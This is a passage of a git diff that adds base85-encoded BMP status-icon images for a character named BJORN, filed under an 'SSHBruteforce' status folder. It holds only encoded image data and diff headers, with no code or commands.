z=1KEPX26yzd2lF^I~Zxsl6DT?wNL_ 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 Het!Q4(mo13 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce3.bmp b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce3.bmp new file mode 100644 index 0000000000000000000000000000000000000000..961601342f83c19be9bcf25b71cc87f3e3748e7b GIT binary patch literal 18462 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 V|1nk=um3vl{}k)r^s$A-{{soS$*TYW literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce4.bmp b/resources/default_config/characters/BJORN/status/SSHBruteforce/SSHBruteforce4.bmp new file mode 100644 index 0000000000000000000000000000000000000000..1848bb06f7cc059f8c12d2714eab268f5edbac54 GIT binary patch literal 18462 zcmd^`bzEFYw)it|ci-+?8_#4W2~h&UEjV;=ch|<<9U9u{hQ{5!ahKo$f&@!~yM{o3 z0Kr}QRYN9kc6XA2%vrAV_ zuP=yQy43vlv!Bxo-~{=N4?YNl_a77g`C9m=yTG47)NgrQxFa&T8-4NH193Y8ahtu-Z(l^NcEzl9N3Zq7tait)b%Q)O$F6n#Lpm*rUh9fl zeNH~VOW>~F`1QWj^})>b(V~s1+U@zy-L>h%-L;dGqfg`hB-VqCxvicXMb&&c_Q*ZM6Kc=pef#A=f6o;6`0&PBQ%#Y3naKLi8T zCt#l5azVT9A07~#T-5Hdq{``47~AJsJB908VU#R9#ca^RP6iCBNHIjRW?GnX1mdBa zyMlSHiCeLRz8yWc7&W~fL|B@ZRh*JhjFLf=l0p0)qXHwl&@CFOKT_(+hPc~S`4I*l zH67?_xLYX5>@M~1u1$itJltD9I@mcm{>1UN|8(V)nK-#x*!DATT%XkMP8TNtUDtjVnqrE6I(XW_-bFGI(m#UUJhTbdwkcP# z_GT7Vd+gZLdrDN1G;Dpolfb_H546-GXFCP9#tX?escm^i+qG?LMr93BIR zC%?tade&9vW<6^&kC+-MsuCxm1LJg!5evmWMBf-B|KFv&yB|nqi#~6Y=vPIlxCn;X5r+$d{5*Ct=MgP@jDC>cNoNPGf3WL zlB8sorD9W|=Y_J0@O*VomPdGQ`qgh@(TlSl9UVDBwXMXZJr#`ca^ZohiEc_kq2{GY zsG%6#q_rHuNj*HlZ!*DeG~RzO1>57J5ff!uly3GoRD_^OBN?D)U#4K`!zw02!yrUK z$N9x=;T!Z4rv{e3#{$eONy!9=0lnlMCS6t`&d=|_%pCt;*cEimtJzn0d6^hR8MXV8 zL9)r=9VnY}7(b*mO+DSR!t~NYpvXr83i@*+)J&SR98F zb@fxR%#|{6rskJrcpz|;$oEgp|;Eq-nmVc|v^He02DNjR+d@1D7$QHk3idO$3(Y+5j_7aS}l$ zA)h5VH(0V5d&*+7>?+`V_FimK7e#_dB2l6Rty^K z(3%jrsy>LHHVv>Sb!Zs|>n7Fv?!0)ufh^p^@-0%7}FD2sOz$3(N8@x6#tYMD4l$Ii zJK3(Ebexa%;P5cr-{+Z^ae_7!XImE)v53WW!4Pe+$s6WMUMYHd`R3;R-ku}Ds2X!C zFGfKpT3+Rw575Si!LH4&#;H*r&5`E$KFR@s4;2zb74_6@utB8=pIoGWA<8Kdtp!7B zdm^=9C`}kv7w)F$;3#W_(ec9RAv9R!?*IM=#=qQR`pYfa|GIqlv#&B^Qa_24eAD?@ z7Z(@f94xwUCNN2TKm251%z}$sEjn;0Dt*UN2cL_CcjP4=%nlw+wXKvyr)y}3h)V0y zO9Z;Md)rl@9ZHkDhoUr6%-A$@6tr*xl9o0;-u{JX-yD>0J_?_QGRC7c+!6L+C|EoS zio$4lVRYaqfUX4t8L`{EtY1)?2e>iMx*`%Wggn3s64I{_m|4M?SDBMj=Ae~tsSPtMAjB=f0=jKIYC;NkLW}kY5xoWy 